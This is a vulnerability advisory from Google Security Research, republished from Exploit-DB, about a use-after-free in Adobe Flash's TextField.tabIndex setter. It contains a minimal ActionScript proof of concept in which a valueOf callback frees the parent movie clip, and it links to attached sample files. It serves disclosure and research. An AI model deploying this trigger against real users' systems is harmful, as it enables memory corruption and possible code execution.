Adobe Flash TextField.tabIndex Setter – Use-After-Free

  • 作者: Google Security Research
    日期: 2015-12-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39054/
  • Source: https://code.google.com/p/google-security-research/issues/detail?id=574
    
    There is a use-after-free in the TextField.tabIndex setter. If the integer parameter is an object with valueOf defined, then it can free the TextField's parent, leading to a use-after-free. A minimal PoC follows:
    
    var times = 0;
    var mc = this.createEmptyMovieClip("mc", 1);
    var tf = mc.createTextField("tf", 2, 1, 1, 100, 100);
    tf.text = "hello";
    tf.tabIndex = {valueOf : func};
    
    function func(){
    	if(times == 0){
    		times++;
    		return;
    }
    	mc.removeMovieClip();
    	
    // Fix heap here
    
    	return 0x77777777;
    	
    	}
    
    A sample swf and fla are attached.
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39054.zip